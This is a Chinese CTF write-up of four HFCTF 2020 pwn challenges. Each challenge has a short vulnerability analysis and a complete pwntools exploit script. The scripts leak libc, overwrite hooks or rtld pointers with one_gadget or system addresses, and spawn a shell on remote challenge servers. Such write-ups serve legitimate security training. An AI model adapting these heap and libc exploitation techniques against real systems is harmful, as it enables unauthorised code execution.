HFCTF_2020

虎符2020的线上赛部分Pwn题WP,报名被Pass了,只能从其他师傅那里要题

MarksMan

程序给了libc地址,以及存在一个任意地址写三字节,通过测试,程序在exit的时候会调用_rtld_global结构中的_dl_rtld_lock_recursive或者_dl_rtld_unlock_recursive处的指针,又由于字节过滤不严谨,只要修改后三个字节为rce并确定存在rce满足条件的即可getshell,0x4F2C5此偏移本地通,远程不通,换成0x10A38C打,利用shellcode滑行的技巧,将0x10A38C-5绕过过滤,且可以概率getshell

1
from pwn import*
2
from LD import*
3
p = remote('node3.buuoj.cn',25519)
4
libc = ELF('./libc-2.27.so',checksec=False)
5
p.recvuntil('near: ')
6
libc_base = int(p.recv(14),16) - libc.sym['puts']
7
log.info('LIBC:\t' + hex(libc_base))
8
p.recvuntil('shoot!shoot!\n')
9
fake = libc_base + 0x81DF68 - 8
10
p.sendline(str(fake))
11
rce = libc_base + 0x10A38C - 5
12
off = [rce&0xFF,(rce>>8)&0xFF,(rce>>16)&0xFF]
13
log.info('RCE:\t' + hex(rce))
14
for i in range(3):
15
	p.sendline(p8(off[i]))
16
p.interactive()

下载

MAIN EXP LIBC

Count

arm结构的题,搭建好qemu环境即可调试,题目很简单,不需要本地调试,直接利用IDA F5查看伪C代码即可写EXP
200次输入正确结果,利用python里面的eval函数即可自动计算结果,然后通过溢出覆盖目标变量的值即可getshell

1
from pwn import*
2
p = remote('node3.buuoj.cn',29579)
3
context.log_level ='DEBUG'
4
for i in range(200):
5
	p.recvuntil('~Math:')
6
	equal = p.recvuntil(" = ???input answer:",drop=True)
7
	p.sendline(str(eval(equal)))
8
p.recvuntil('good')
9
p.sendline('\x00'* 0x64 + p32(0x12235612))
10
p.interactive()

下载

MAIN EXP LIBC

SecureBox

申请空间的函数,在判断size是否大于0xFFF的时候变量强制转化成了int类型,则有整型溢出,又当申请一个很大的空间的时候,由于空间肯定不够,最终不会申请,对应的指针位置为0,则此刻有了一个朝大的size,以及指针以0为初始位置,即可实现任意写,最后将接受到的key值逆序与需要写的内容异或,通过enc函数则可往目标地址写上所需写的值
此题KALI2.30环境下打通的,由于没有Ubuntu19的环境,故无法准确的修栈,因此在KALI下打通就算了

1
from pwn import*
2
from LD import*
3
def new(size,sign = 0):
4
    p.sendlineafter('Exit','1')
5
    p.sendlineafter('Size: ',str(size))
6
    if sign:
7
    	return
8
    p.recvuntil('Key: \n')
9
10
def free(idx):
11
    p.sendlineafter('Exit','2')
12
    p.sendlineafter('ID: ',str(idx))
13
14
def enc(idx,off,content):
15
    p.sendlineafter('Exit','3')
16
    p.sendlineafter('ID: ',str(idx))
17
    p.sendlineafter('Offset of msg: ',str(off))
18
    p.sendlineafter('Len of msg: ','16')
19
    p.sendafter('Msg: ',content)
20
21
def leak(idx):
22
    p.sendlineafter('Exit','4')
23
    p.sendlineafter('Box ID: ',str(idx))
24
    p.sendlineafter('Offset of msg: ','0')
25
    p.sendlineafter('Len of msg: ','8')
26
    p.recvuntil('Msg: \n')
27
28
libc = ELF('./libc-2.30.so',checksec=False)
29
p = process('./main')
30
context.log_level ='DEBUG'
31
new(0x500)
32
new(0x200)
33
free(0)
34
new(0x500)
35
leak(0)
36
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x60 - 0x10 - libc.sym['__malloc_hook']
37
log.info('LIBC:\t' + hex(libc_base))
38
malloc_hook = libc_base + libc.sym['__malloc_hook']
39
free_hook = libc_base + libc.sym['__free_hook']
40
one_gadget = [0xCB79A,0xCB79D,0xCB7A0,0xE926B, 0xE9277]  #Kali 2.30
41
rce = libc_base + one_gadget[3]
42
realloc = libc_base + libc.sym['realloc']
43
new(0x7FFFFFFF00000000+0xFF0)
44
rand_1 =p.recv(24).replace(' ','')
45
rand_2 =p.recv(24).replace(' ','')
46
randq_1 = ''
47
randq_2 = ''
48
for i in range(15,-1,-2):
49
	randq_1 += (rand_1[i-1] + rand_1[i])
50
	randq_2 += (rand_2[i-1] + rand_2[i])
51
rceq = (int(randq_1,16) ^ rce)&0xFFFFFFFFFFFFFFFF
52
reallocq = (int(randq_2,16) ^ realloc)&0xFFFFFFFFFFFFFFFF
53
enc(2,str(malloc_hook-8),p64(rceq) + p64(reallocq))
54
new(0x200,sign=1)
55
p.interactive()

下载

MAIN EXP LIBC UbuntuEXP

Encnote

漏洞

  1. ENC和DEC是个Blowfish对称加解密的两个函数,其中密钥Key是随机生成的,且Key存放在堆块里面
  2. 漏洞位置在DEC解密的最后,相关伪代码如下
    1
    if ( v6 == 0x867D33FB )
    2
        *(&i + (BYTE1(v5) & 0x3F)) = v5;
    3
    *v8 = v6 | (v5 << 32);
    如果解密出的8字节内容的高位四字节为0x867D33FB,则可以在栈上某个位置修改单个字节,然后最后一行又会往v8指针的地址上写上解密后的内容

    利用

    首先释放一个块chunk1进入unsorted bins,因此会在此块的fd和bk上写上main_arena内容
    修改v8指针为保存Key的堆的指针的末位字节,将保存Key值的指针迁移到之前释放的块的中
  3. 首先第一次修改为chunk1的bk+5的地址,此处只有一个单字节,前面7个字节均为0,然后可以从此处往后依次爆破单个字节内容,每次爆破有256种可能性(其实只需要最多3256 + 16种可能,首字节与末三位都清楚),只需要最多6256次爆破就能将libc地址爆破出来,且最后,保存Key值的指针指向了chunk1的bk位置
  4. 爆破出Key值,即可再次利用DEC的单字节修改,将ENC函数中保存加密后结果的指针修改为free_hook,再通过ENC函数将system地址由Blowfish解密后的字符串加密,即可实现向free_hook上写入system函数
1
from pwn import*
2
from LD import*
3
from Crypto.Cipher import Blowfish
4
def new(index,size):
5
	p.sendlineafter('Choice:','1')
6
	p.sendlineafter('Input the id:',str(index))
7
	p.sendlineafter('Input the length:',str(size))
8
	p.sendafter('Input note price:','/bin/sh\x00')
9
def free(index):
10
	p.sendlineafter('Choice:','2')
11
	p.sendlineafter('Input the id:',str(index))
12
def enc(message):
13
	p.sendlineafter('Choice:\n','5')
14
	p.sendafter('Please input the message:\n',message)
15
	res = p.recvline()
16
	return res.strip()
17
def dec(message):
18
	p.sendlineafter('Choice:\n','6')
19
	p.sendafter('Please input the message:\n',message)
20
def guess_key(target,key):
21
	for i in range(0x100):
22
		tmp = chr(i) + key
23
		tmp = tmp.ljust(8,'\x00')
24
		c = Blowfish.new(tmp, Blowfish.MODE_ECB)
25
		test = c.encrypt('SSSSYYMF')
26
		if target == test:
27
			return chr(i)+key
28
def leak():
29
	key = ""
30
	for i in range(6):
31
		var = 0x0E39 + ((0x3D-i)<<24)
32
		ret=enc(p32(0x867D33FB) + p32(var))
33
		dec(ret.zfill(16).decode('hex')[::-1])
34
		target=enc('FMYYSSSS').zfill(16)
35
		key = guess_key(target.decode('hex'),key)
36
	return key
37
def modify(target,key):
38
	for i in range(8):
39
		tmp = p32(0x867D33FB) + chr(0xB0-i) + chr(0x0E) + chr(0) + target[i]
40
		c = Blowfish.new(key, Blowfish.MODE_ECB)
41
		enc_data = c.encrypt(tmp[::-1])
42
		dec(enc_data[::-1])
43
libc = ELF('./libc-2.23.so',checksec=False)
44
LD=change_ld('./main','./ld-2.23.so')
45
p = LD.process(env={'LD_PRELOAD':'./libc-2.23.so'})
46
#context.log_level ='DEBUG'
47
p = remote('node3.buuoj.cn',27397)
48
new(0,0x100)
49
new(1,0x30)
50
free(0)
51
key = leak().ljust(8,'\x00')
52
libc_base = u64(key) - libc.sym['__malloc_hook'] - 0x10 - 88 - 0x100
53
log.info('LIBC:\t' + hex(libc_base))
54
system =libc_base + libc.sym['system']
55
target = p64(libc_base + libc.sym['__free_hook'])[::-1]
56
modify(target,key)
57
dec_system = (Blowfish.new(key,Blowfish.MODE_ECB)).decrypt(p64(system)[::-1])
58
enc(dec_system[::-1])
59
free(1)
60
p.interactive()

总结

此题难度对我来说挺大的,对于常见的利用习惯了,突然加了个算法,找到洞也没有思路,最后看了WP才知道,还是TTTTTTTTTCL

下载

MAIN EXP LIBC

Contents
  1. 1. MarksMan
    1. 1.1. 下载
  2. 2. Count
    1. 2.1. 下载
  3. 3. SecureBox
    1. 3.1. 下载
  4. 4. Encnote
    1. 4.1. 漏洞
    2. 4.2. 利用
    3. 4.3. 总结
    4. 4.4. 下载
|